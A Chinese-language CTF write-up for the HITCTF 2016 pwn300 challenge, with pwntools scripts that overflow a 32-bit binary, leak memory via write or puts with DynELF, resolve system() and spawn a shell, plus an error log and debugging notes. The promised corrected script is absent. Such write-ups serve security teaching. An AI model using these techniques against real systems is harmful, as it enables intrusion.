[HITCTF2016](pwn)pwn300


简介 :

下载 : http://ctf.hit.edu.cn/rs/file/ctf/pwn/2016-hitctf/pwn300
nc ctf.hit.edu.cn 4011

分析 :

  1. 没有给libc , 考虑到使用 DynELF 来搜索目标主机的内存空间 , 找到对应 libc 版本并下载到本地计算偏移
  2. 可以泄露内存空间的函数有 : puts 和 write

利用脚本 :

write 函数版

#!/usr/bin/env python

from pwn import *

Io = process("pwn300")
#Io = remote("ctf.hit.edu.cn", 4011)

def leak(addr):
    junkSize = 26
    junk = "A" * junkSize
    start_addr = p32(0x08048400)
    write_plt = p32(0x080483E0)
    fd = p32(1)
    buf = p32(addr)
    count = p32(4)
    payload = junk + write_plt + start_addr + fd + buf + count
    Io.sendline(payload)
    Io.recvuntil(count)
    Io.recv(1)
    leak_data = Io.recv(4)
    print "[%s] -> [%s] = [%s]" % (hex(addr), leak_data.encode("hex"), repr(leak_data))
    return leak_data

def main():
    # leak system()
    d = DynELF(leak, elf=ELF("./pwn300"))
    system_addr = d.lookup('system', 'libc')
    print "[system()] -> [%s]" % (hex(system_addr))

    # read /bin/sh
    data_addr = 0x0804A030

    bin_sh_addr = p32(data_addr)

    junk = "A" * 26
    read_plt = p32(0x08048390)
    start_addr = p32(0x08048400)
    fd = p32(0)
    buf = p32(data_addr)
    count = p32(8)
    
    payload = junk + read_plt + start_addr + fd + buf + count
    Io.sendline(payload)

    Io.send("/bin/sh\x00")

    payload = junk + p32(system_addr) + start_addr + bin_sh_addr
    Io.sendline(payload)

    Io.interactive()

if __name__ == "__main__":
    main()

puts 函数版 :

#!/usr/bin/env python

from pwn import *

Io = process("pwn300")
# Io = remote("ctf.hit.edu.cn", 4015)

def leak(addr):
    junkSize = 26
    junk = "A" * junkSize
    start_addr = p32(0x08048400)
    puts_plt = p32(0x080483A0)
    buf = p32(addr)
    payload = junk + puts_plt + start_addr + buf
    SIGN = buf[-1]
    Io.sendline(payload)
    data = ""
    while True:
        data += Io.recv(1)
        if data.endswith("What's your name?\n"):
            break
    output_length = len("hello, ") + len(payload) + len("\n")
    temp = data[output_length: -(len("What's your name?\n") + len("\n"))]
    leak_data = temp[0:4]
    if len(leak_data) < 4:
        leak_data += "\x00" * (4 - len(temp))
    print "[%s] -> [%s] = [%s]" % (hex(addr), leak_data.encode("hex"), repr(leak_data))
    return leak_data

def main():
    Io.readuntil("What's your name?\n")
    d = DynELF(leak, elf=ELF("./pwn300"))
    system_addr = d.lookup('system', 'libc')
    print "[system()] -> [%s]" % (hex(system_addr))


if __name__ == "__main__":
    main()

后记 :

不知道为什么 , 使用 puts 函数进行利用的时候 , 是可以正常搜索目标主机的内存的 , 
但是在查找 system() 函数的地址的时候 DynELF 报错了 , 不知道为什么 , 
暂时还没有解决 , 如果有知道的小伙伴儿一定要告诉我 , 先谢谢啦 , 错误信息如下 : 

[!] Could not find executable 'pwn300' in \$PATH, using './pwn300' instead
[+] Starting local process './pwn300': pid 25340
[*] '/root/Desktop/pwn300/pwn300'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[0x8048000] -> [7f454c46] = ['\x7fELF']
[+] Loading from '/root/Desktop/pwn300/pwn300': 0xf77b0918
[0x804a004] -> [18097bf7] = ['\x18\t{\xf7']
[+] Resolving 'system' in 'libc.so': 0xf77b0918
[0x8049f14] -> [01000000] = ['\x01\x00\x00\x00']
[0x8049f1c] -> [0c000000] = ['\x0c\x00\x00\x00']
[0x8049f24] -> [0d000000] = ['\r\x00\x00\x00']
[0x8049f2c] -> [19000000] = ['\x19\x00\x00\x00']
[0x8049f34] -> [1b000000] = ['\x1b\x00\x00\x00']
[0x8049f3c] -> [1a000000] = ['\x1a\x00\x00\x00']
[0x8049f44] -> [1c000000] = ['\x1c\x00\x00\x00']
[0x8049f4c] -> [f5feff6f] = ['\xf5\xfe\xffo']
[0x8049f54] -> [05000000] = ['\x05\x00\x00\x00']
[0x8049f5c] -> [06000000] = ['\x06\x00\x00\x00']
[0x8049f64] -> [0a000000] = ['\n\x00\x00\x00']
[0x8049f6c] -> [0b000000] = ['\x0b\x00\x00\x00']
[0x8049f74] -> [15000000] = ['\x15\x00\x00\x00']
[0x8049f7c] -> [03000000] = ['\x03\x00\x00\x00']
[0x8049f80] -> [00000000] = ['\x00\x00\x00\x00']
[0x8049f78] -> [04097bf7] = ['\x04\t{\xf7']
[0xf77b0908] -> [18097bf7] = ['\x18\t{\xf7']
[0xf77b0928] -> [00000000] = ['\x00\x00\x00\x00']
[0xf77b091c] -> [040c7bf7] = ['\x04\x0c{\xf7']
[0xf77b0c04] -> [00000000] = ['\x00\x00\x00\x00']
[0xf77b0924] -> [080c7bf7] = ['\x08\x0c{\xf7']
[0xf77b0c0c] -> [780e7bf7] = ['x\x0e{\xf7']
[0xf77b0e78] -> [6c696e75] = ['linu']
[0xf77b0e7c] -> [782d6761] = ['x-ga']
[0xf77b0e80] -> [74652e73] = ['te.s']
[0xf77b0e84] -> [6f2e3100] = ['o.1\x00']
[0xf77b0c14] -> [286e78f7] = ['(nx\xf7']
[0xf7786e2c] -> [106e78f7] = ['\x10nx\xf7']
[0xf7786e10] -> [2f6c6962] = ['/lib']
[0xf7786e14] -> [33322f6c] = ['32/l']
[0xf7786e18] -> [6962632e] = ['ibc.']
[0xf7786e1c] -> [736f2e36] = ['so.6']
[0xf7786e20] -> [00000000] = ['\x00\x00\x00\x00']
[0xf7786e28] -> [00000000] = ['\x00\x00\x00\x00']
[ERROR] Must specify either a pointer into a module and/or an ELF file with a valid base address
Traceback (most recent call last):
  File "./exploit_puts.py", line 38, in 
    main()
  File "./exploit_puts.py", line 33, in main
    system_addr = d.lookup('system', 'libc')
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 541, in lookup
    if lib is not None: dynlib = self._dynamic_load_dynelf(lib)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 645, in _dynamic_load_dynelf
    lib = DynELF(leak, libbase)
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/dynelf.py", line 166, in __init__
    log.error("Must specify either a pointer into a module and/or an ELF file with a valid base address")
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/log.py", line 416, in error
    raise PwnlibException(message % args)
pwnlib.exception.PwnlibException: Must specify either a pointer into a module and/or an ELF file with a valid base address
[*] Stopped process './pwn300' (pid 25340)

再次后记 :

我好像大概想明白了为啥这个时候会报错 , 还是因为使用 puts 的时候 leak 函数写的有问题
puts 函数当遇到 \x00 的时候就会结束输出
因此当内存中存在 \x00 , 那么输出就会被截断 , 因此获取到的数据可能会不完整
之前脚本中的逻辑是 , 如果不完整就直接全部用 \x00 来填充 , 但是这是有问题的
比如说内存中一段数据为 : \x00\x11\x22\x33
那么我的脚本跑出来的结果就是 \x00\x00\x00\x00 , 这样就会出错了
因此为了修复这个错误 , 我们应该这样做 , 当读取到的第一个字节是 \x00 的时候
为了保证数据的完整性 , 需要对下一个字节继续进行读取 , 直到四个字节全部读取完毕
这个时候才可以正常返回 , 这样才不会出错
修改之后的脚本如下 : 

puts 版本利用脚本 :


你可能感兴趣的:([HITCTF2016](pwn)pwn300)